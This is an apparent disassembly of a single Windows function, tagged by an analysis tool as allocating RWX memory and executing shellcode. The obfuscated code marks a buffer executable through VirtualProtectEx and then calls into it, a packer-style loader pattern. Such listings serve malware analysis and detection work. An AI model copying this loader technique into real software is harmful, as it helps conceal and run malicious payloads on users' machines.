Function at 0x10035010
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov edx, dword [0x10086940]
mov eax, dword [0x100868c8]
mov dword [ebp - 0xc], ecx
mov byte [0x100868b6], 0x1d
push esi
push edi
lea edi, [ecx + 0x4e84]
mov ecx, dword [0x100868cc]
cmp edx, 0x1b
jb 0x1003505a
add eax, 0x1d
mov edx, 0xfffff5e2
mov dword [0x100868c8], eax
adc ecx, 0
mov dword [0x10086940], edx
mov dword [0x100868cc], ecx
mov esi, dword [0x100868b0]
mov dword [ebp - 8], esi
add esi, 0xffffffa3
add edi, esi
mov esi, dword [0x1009da64]
mov dword [0x1008808c], esi
mov esi, dword [ebp - 8]
cmp edx, edi
jb 0x1003509c
add eax, 0x1d
mov dword [0x100868c8], eax
adc ecx, 0
imul eax, edi, 0x61
mov dword [0x100868cc], ecx
mov ecx, 0x1d
sub ecx, eax
mov dword [0x10086940], ecx
push 0x5d6
push 0x10087480
sub esi, edi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
cmp dword [0x1008697c], 0xfc
mov edi, eax
mov byte [0x100868b6], 0xfc
ja 0x100350dc
mov dword [0x1008698c], edi
mov ecx, 0xffff08c7
add edi, 0x4f4a
sub ecx, edi
mov dword [0x10086940], ecx
sub esi, dword [0x100868b0]
push 0x10088090
push 0x40
push 0x50a4
push dword [0x1008808c]
sub esi, 0xf8ef
push 0xffffffffffffffff
mov dword [ebp - 8], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
cmp dword [0x10086918], 0x7b3
mov esi, dword [0x1008691c]
jne 0x10035142
test esi, esi
jne 0x10035142
mov eax, dword [0x10086944]
mov ecx, 0x21
add eax, dword [0x10086908]
sub ecx, eax
mov dword [0x10086944], eax
mov eax, dword [0x10086940]
lea ecx, [eax + ecx*2]
mov dword [0x10086940], ecx
jmp 0x10035148
mov ecx, dword [0x10086940]
mov eax, dword [0x100868d8]
or eax, dword [0x100868dc]
je 0x10035163
movzx edi, byte [0x100868b6]
imul eax, ecx, 0x61
sub edi, eax
jmp 0x1003517a
movzx eax, byte [0x100868b6]
mov ecx, edi
sub ecx, eax
sub ecx, 0xf835
mov dword [0x10086940], ecx
mov edx, dword [0x100868b0]
add edx, 0x4e4e
add edx, edi
mov edi, dword [ebp - 0xc]
test esi, esi
ja 0x100351c0
jb 0x10035199
cmp dword [0x10086918], edi
ja 0x100351c0
mov ecx, dword [ebp - 8]
mov edx, edi
mov dword [0x10086938], ecx
add ecx, 0x4e4e
add ecx, edi
mov dword [0x1008693c], 0
sub edx, ecx
sub edx, 0xf835
jmp 0x100351c3
mov ecx, dword [ebp - 8]
mov esi, 0x100869c8
nop dword [eax + eax]
xor eax, eax
cmp edx, dword [0x100868c0]
jne 0x100351e2
cmp eax, dword [0x100868c4]
je 0x10035203
mov eax, 0x42
sub eax, ecx
sub eax, edi
add edx, eax
sub dword [esi], edi
sbb dword [esi + 4], 0
sub esi, 0x10
imul ecx, edx
sub ecx, edi
cmp esi, 0x100868c0
jg 0x100351d0
sub cl, byte [0x100868b0]
push 0x5d6
sub cl, 4
push 0x10087480
mov byte [0x100868b6], cl
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push dword [0x1008808c]
movzx eax, byte [0x100868b6]
imul eax, eax, 0xffffff9f
add dword [0x100868b0], eax
pop esi
sub ecx, 0x362
call esi
mov eax, dword [0x100868b0]
lea edx, [eax*2 - 0xf85b]
mov al, dl
add al, al
sub al, 0x5d
cmp dword [0x1008691c], 0
mov byte [ebp - 1], al
ja 0x10035279
jb 0x10035269
cmp dword [0x10086918], edi
ja 0x10035279
mov dword [0x10086938], edx
mov dword [0x1008693c], 0
movzx eax, al
imul ecx, eax, 0x61
mov al, byte [ebp - 1]
dec al
pop edi
pop esi
sub edx, ecx
mov dword [ebp - 0xc], edx
mov dword [0x100868b0], edx
movzx ecx, dl
movzx edx, al
mov eax, dword [ebp - 0xc]
imul edx, ecx
mov byte [0x100868b6], dl
mov esp, ebp
pop ebp
ret